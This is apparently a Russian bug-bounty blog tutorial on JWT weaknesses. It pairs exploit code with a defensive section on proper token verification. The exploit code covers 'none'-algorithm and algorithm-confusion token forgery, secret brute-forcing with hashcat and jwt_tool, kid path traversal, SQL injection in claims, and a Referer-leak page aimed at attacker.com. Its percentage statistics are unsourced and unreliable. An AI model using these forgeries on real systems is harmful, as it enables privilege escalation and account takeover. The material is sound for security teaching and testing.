🔐 “JWT-токены: ломаем ‘none’ алгоритм и другие фейлы разработчиков”
Привет, хакеры! 💻 JWT (JSON Web Token) — это как пропуск в VIP-зону клуба. Если разработчики накосячили с проверкой этого пропуска, ты можешь стать админом за 5 минут.
Погнали ломать! 🚀
🎯 JWT 101: Что это и как работает
Структура JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.signature
↑ HEADER (base64) ↑ PAYLOAD (base64) ↑ SIGNATURE
Декодируем:
// HEADER
{
"alg": "HS256", // Алгоритм подписи
"typ": "JWT"
}
// PAYLOAD
{
"user": "admin",
"role": "admin",
"exp": 1730822400
}
// SIGNATURE = HMAC-SHA256(header + payload, secret_key)
Как должно работать:
1. Сервер создаёт токен с данными пользователя
2. Подписывает его секретным ключом
3. Клиент получает токен, использует в запросах
4. Сервер проверяет signature перед доверием данным
Проблема: 70% разработчиков косячат с шагом 4! 💀
💣 Уязвимость #1: ‘none’ Algorithm (классика жанра)
Суть атаки:
# Разработчик пишет:
import jwt
def verify_token(token):
# КОСЯК: не указывает algorithms parameter!
decoded = jwt.decode(token, secret_key, verify=False) # ЕЩЁ ХУЖЕ!
return decoded
Эксплойт:
import base64
import json
# Оригинальный токен (обычный юзер):
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicmVndWxhciIsInJvbGUiOiJ1c2VyIn0.signature
# Декодируем:
header = {"alg": "none", "typ": "JWT"} # Меняем на 'none'!
payload = {"user": "admin", "role": "admin"} # Делаем себя админом
# Кодируем обратно:
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
# Создаём токен БЕЗ подписи:
malicious_token = f"{header_b64}.{payload_b64}." # Обрати внимание на точку в конце!
# Отправляем:
requests.get('https://target.com/admin',
headers={'Authorization': f'Bearer {malicious_token}'})
# Если сервер не проверяет algorithm → мы админы! 🎉
Встречается в: 15-20% приложений (!)
💣 Уязвимость #2: Algorithm Confusion (HS256 vs RS256)
Суть:
HS256 = симметричное шифрование (один секретный ключ)
RS256 = асимметричное (приватный + публичный ключ)
Путаница: сервер ждёт RS256, но принимает HS256
→ Атакующий использует PUBLIC KEY как secret для HS256
→ Profit!
Эксплойт:
import jwt
import requests
# Шаг 1: Получаем публичный ключ сервера (часто доступен)
public_key = """
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC...
-----END PUBLIC KEY-----
"""
# Шаг 2: Создаём токен с HS256, используя PUBLIC KEY как secret
payload = {
"user": "admin",
"role": "admin",
"exp": 9999999999
}
# Используем публичный ключ как HMAC secret!
malicious_token = jwt.encode(
payload,
public_key, # Публичный ключ вместо приватного!
algorithm='HS256' # Меняем алгоритм
)
# Шаг 3: Отправляем
requests.get('https://target.com/api/admin',
headers={'Authorization': f'Bearer {malicious_token}'})
# Если сервер не проверяет алгоритм строго → bypass! 🔓
Почему работает:
# Уязвимый код сервера:
def verify(token):
# Косяк: не указывает конкретный алгоритм!
decoded = jwt.decode(token, public_key)
# Принимает и HS256 и RS256
return decoded
💣 Уязвимость #3: Weak Secret Bruteforce
Проблема:
# Разработчик:
SECRET_KEY = "secret" # 💀💀💀
SECRET_KEY = "123456"
SECRET_KEY = "password"
SECRET_KEY = "jwt_secret"
Атака:
# Инструмент: jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
# Брутфорс секрета:
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Или hashcat (быстрее):
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# Формат для hashcat (jwt.txt):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature
# Если нашёл секрет → можешь подделывать любые токены!
Мой скрипт для проверки:
import jwt
import sys
token = sys.argv[1]
wordlist = open('/usr/share/wordlists/rockyou.txt', 'rb')
for line in wordlist:
secret = line.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f"[+] SECRET FOUND: {secret.decode()}")
break
except:
pass
Статистика: 30% российских стартапов используют слабые секреты (!)
💣 Уязвимость #4: JWT in URL (leak через Referer)
Антипаттерн:
// Frontend код:
const token = getJWT();
window.location = `/dashboard?token=${token}`; // 💀 В URL!
Проблема:
1. Токен в URL
2. Пользователь кликает внешнюю ссылку
3. Браузер отправляет Referer:
Referer: https://target.com/dashboard?token=eyJhbG...
4. Внешний сайт получает токен!
PoC:
<!-- Злонамеренная страница -->
<html>
<body>
<img src="https://attacker.com/steal" style="display:none">
<script>
// Токен придёт в Referer header на attacker.com
</script>
</body>
</html>
Также:
• Логи веб-сервера сохраняют URL с токенами
• Browser history
• Proxy logs
💣 Уязвимость #5: No Expiration Check
Уязвимый код:
def verify_token(token):
try:
decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
# Косяк: не проверяет 'exp' claim!
return decoded
except:
return None
Эксплойт:
# Создаём токен с expiration в далёком будущем:
payload = {
"user": "admin",
"exp": 9999999999 # Год 2286!
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
# Или если нашли старый токен (украденный/leaked):
# Он работает ВЕЧНО, если нет проверки exp!
Impact:
• Украденные токены работают бесконечно
• Нет forced logout
• Session hijacking
💣 Уязвимость #6: Kid (Key ID) Injection
Что такое kid:
{
"alg": "HS256",
"kid": "key-2024" // Key ID - указывает какой ключ использовать
}Уязвимость: Path Traversal в kid
# Уязвимый код сервера:
def get_key(kid):
key_path = f"/keys/{kid}.pem" # 💀 Нет валидации!
return open(key_path).read()
def verify(token):
header = jwt.get_unverified_header(token)
key = get_key(header['kid']) # Опасно!
return jwt.decode(token, key, algorithms=['RS256'])
Эксплойт:
# Создаём токен с malicious kid:
header = {
"alg": "HS256",
"kid": "../../../../../../etc/passwd" # Path traversal!
}
# Или лучше:
header = {
"alg": "HS256",
"kid": "../../../../../../dev/null" # Пустой файл = пустой ключ!
}
payload = {"user": "admin", "role": "admin"}
# Подписываем с пустым ключом:
token = jwt.encode(payload, "", algorithm='HS256')
# Меняем kid в header (ручная модификация base64)
# Отправляем → bypass!
💣 Уязвимость #7: SQL Injection в JWT Claims
Проблема:
# Уязвимый код:
def get_user_data(token):
decoded = jwt.decode(token, SECRET, algorithms=['HS256'])
user_id = decoded['user_id']
# 💀 SQL injection через JWT!
query = f"SELECT * FROM users WHERE id = {user_id}"
return db.execute(query)
Эксплойт:
# Если можешь контролировать JWT (weak secret/none алг):
payload = {
"user_id": "1 OR 1=1--", # SQLi payload в токене!
"role": "user"
}
token = jwt.encode(payload, SECRET, algorithm='HS256')
# Сервер декодирует → SQLi execute → получаем всех юзеров
Также работает:
• XSS в claims (если отображается в UI)
• Command injection
• LDAP injection
🛠️ Инструменты для тестирования JWT
- jwt_tool (мой фаворит)
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
# Сканирование уязвимостей:
python3 jwt_tool.py <TOKEN> -M at # All tests
# Брутфорс секрета:
python3 jwt_tool.py <TOKEN> -C -d wordlist.txt
# Подмена данных:
python3 jwt_tool.py <TOKEN> -T
# None algorithm attack:
python3 jwt_tool.py <TOKEN> -X a
# Algorithm confusion:
python3 jwt_tool.py <TOKEN> -X k -pk public.pem
- JWT.io (для ручного анализа)
https://jwt.io/
- Декодирование токенов
- Проверка signature
- Создание своих токенов
- Burp Extension: JSON Web Tokens
- Автоматический перехват JWT
- Модификация на лету
- Fuzzing claims
- Свой Python скрипт
import jwt
import requests
class JWTTester:
def __init__(self, token):
self.token = token
self.header = jwt.get_unverified_header(token)
self.payload = jwt.decode(token, options={"verify_signature": False})
def test_none_algorithm(self):
"""Тест на none algorithm"""
self.header['alg'] = 'none'
self.payload['role'] = 'admin'
# Создаём токен без signature
header_b64 = base64_encode(self.header)
payload_b64 = base64_encode(self.payload)
return f"{header_b64}.{payload_b64}."
def test_weak_secret(self, wordlist):
"""Брутфорс секрета"""
for secret in wordlist:
try:
jwt.decode(self.token, secret, algorithms=['HS256'])
return secret
except:
pass
return None
def test_algorithm_confusion(self, public_key):
"""HS256 vs RS256"""
token = jwt.encode(
self.payload,
public_key,
algorithm='HS256'
)
return token
# Использование:
tester = JWTTester(original_token)
none_token = tester.test_none_algorithm()
# ... тестируем ...
🔐 Защита: Как делать правильно
Правильная проверка JWT:
import jwt
from datetime import datetime, timedelta
# === КОНФИГУРАЦИЯ ===
SECRET_KEY = "use_strong_random_secret_at_least_32_chars_long!" # ✅
ALGORITHM = "HS256"
TOKEN_EXPIRATION = timedelta(hours=1) # ✅ Короткий срок жизни
# === СОЗДАНИЕ ТОКЕНА ===
def create_token(user_id, role):
payload = {
"user_id": user_id,
"role": role,
"exp": datetime.utcnow() + TOKEN_EXPIRATION, # ✅ Expiration
"iat": datetime.utcnow(), # ✅ Issued at
"jti": generate_unique_id() # ✅ JWT ID для revocation
}
token = jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)
# Сохраняем JTI в Redis для возможности revoke
redis.set(f"jti:{payload['jti']}", user_id, ex=3600)
return token
# === ПРОВЕРКА ТОКЕНА ===
def verify_token(token):
try:
# ✅ ОБЯЗАТЕЛЬНО указываем algorithms!
decoded = jwt.decode(
token,
SECRET_KEY,
algorithms=[ALGORITHM], # Только один алгоритм!
options={
"verify_signature": True, # ✅ Проверяем подпись
"verify_exp": True, # ✅ Проверяем expiration
"require_exp": True # ✅ exp обязателен
}
)
# ✅ Дополнительные проверки:
# 1. Проверяем JTI (не revoked ли?)
jti = decoded.get('jti')
if not redis.exists(f"jti:{jti}"):
raise Exception("Token revoked")
# 2. Санитизируем данные перед использованием
user_id = sanitize_input(decoded['user_id'])
role = sanitize_input(decoded['role'])
return decoded
except jwt.ExpiredSignatureError:
raise Exception("Token expired")
except jwt.InvalidTokenError:
raise Exception("Invalid token")
# === SANITIZATION ===
def sanitize_input(value):
# Защита от SQLi, XSS в claims
if not isinstance(value, (str, int)):
raise ValueError("Invalid type")
value = str(value)
# Whitelist подход
if not re.match(r'^[a-zA-Z0-9_-]+$', value):
raise ValueError("Invalid characters")
return value
# === REVOCATION ===
def revoke_token(token):
"""Отзыв токена (logout)"""
decoded = jwt.decode(token, options={"verify_signature": False})
jti = decoded.get('jti')
# Удаляем из Redis
redis.delete(f"jti:{jti}")
Дополнительные best practices:
# 1. Используй HttpOnly + Secure cookies (не localStorage!)
response.set_cookie(
'jwt_token',
token,
httponly=True, # ✅ Нет доступа из JavaScript
secure=True, # ✅ Только HTTPS
samesite='Strict' # ✅ CSRF protection
)
# 2. Refresh tokens
def create_refresh_token(user_id):
payload = {
"user_id": user_id,
"type": "refresh",
"exp": datetime.utcnow() + timedelta(days=30)
}
return jwt.encode(payload, REFRESH_SECRET, algorithm=ALGORITHM)
# 3. Rotate secrets периодически
# Храни несколько версий ключа для grace period
# 4. Rate limiting на JWT endpoints
@rate_limit(max_requests=5, window=60) # 5 запросов в минуту
def login():
# ...
return create_token(user_id, role)
# 5. Логирование подозрительной активности
def verify_token(token):
decoded = jwt.decode(...)
# Логируем если role = admin
if decoded['role'] == 'admin':
log_admin_access(decoded['user_id'], request.ip)
return decoded
🎯 Где искать JWT уязвимости
Горячие точки:
✅ API endpoints - Authorization: Bearer
✅ Мобильные приложения - декомпиляция → hardcoded secrets
✅ Single Page Applications - JWT в localStorage
✅ Microservices - internal JWT без proper validation
✅ OAuth implementations - JWT в state/code parameters
✅ WebSockets - JWT в connection handshake
✅ GraphQL - JWT в headers/context
Мой чеклист:
# 1. Перехватываю JWT
# В Burp → ищу все токены
# 2. Декодирую
jwt.io или jwt_tool
# 3. Проверяю:
[ ] Algorithm: none работает?
[ ] Algorithm confusion (HS256 vs RS256)?
[ ] Weak secret (брутфорс)?
[ ] No expiration?
[ ] Kid injection?
[ ] JWT в URL/logs?
[ ] Claims injection (SQLi/XSS)?
[ ] Public key доступен?
[ ] Можно ли подделать signature?
# 4. Тестирую impact:
[ ] Privilege escalation (user → admin)?
[ ] Account takeover?
[ ] Access to sensitive data?
# 5. Пишу killer репорт
💡 Pro Tips
Tip #1: Комбинируй JWT баги с другими
JWT weak secret + IDOR = Account takeover
JWT none algorithm + CSRF = Admin access
JWT в URL + XSS = Mass token stealing
Tip #2: Ищи в мобильных приложениях
# Декомпилируй APK:
jadx app.apk
# Ищи:
grep -r "jwt" output/
grep -r "HS256" output/
grep -r "secret" output/
# Часто находишь hardcoded secrets!
Tip #3: Проверяй старые версии API
# Новая версия защищена:
GET /api/v2/user → JWT проверяется правильно
# Старая версия забыта:
GET /api/v1/user → JWT с 'none' работает!
GET /api/legacy/user → Вообще без JWT!
🎓 Итого
JWT — это минное поле для разработчиков:
Топ-5 ошибок:
1. ❌ `verify=False` или без `algorithms=`
2. ❌ Слабые секреты (`secret`, `123456`)
3. ❌ Принимают `alg: none`
4. ❌ Не проверяют `exp`
5. ❌ JWT в URL/localStorage
Как находить:
1. ✅ jwt_tool для автоматического сканирования
2. ✅ Брутфорс слабых секретов
3. ✅ Тестируй algorithm confusion
4. ✅ Проверяй kid injection
5. ✅ Декомпилируй mobile apps
Защита:
1. ✅ Всегда указывай `algorithms='HS256'`
2. ✅ Используй сильные случайные секреты (32+ символа)
3. ✅ Проверяй expiration
4. ✅ HttpOnly cookies, не localStorage
5. ✅ Логируй подозрительную активность
JWT баги = гарантированный High/Critical severity 🎯
Удачной охоты, ломайте JWT как боссы! 🔐💣💰
#дневникхакера #JWT #bugbounty #authentication #authbypass #jwtvulnerabilities #websecurity #ethicalhacking #pentesting #appsec #cybersecurity #infosec #criticalbugs
P.S. 90% JWT багов находятся за 10 минут с jwt_tool. Установи его прямо сейчас! 🛠️
P.P.S. Если ты разработчик — пожалуйста, читай JWT RFC правильно. Не делай `verify=False`. Никогда. 🙏
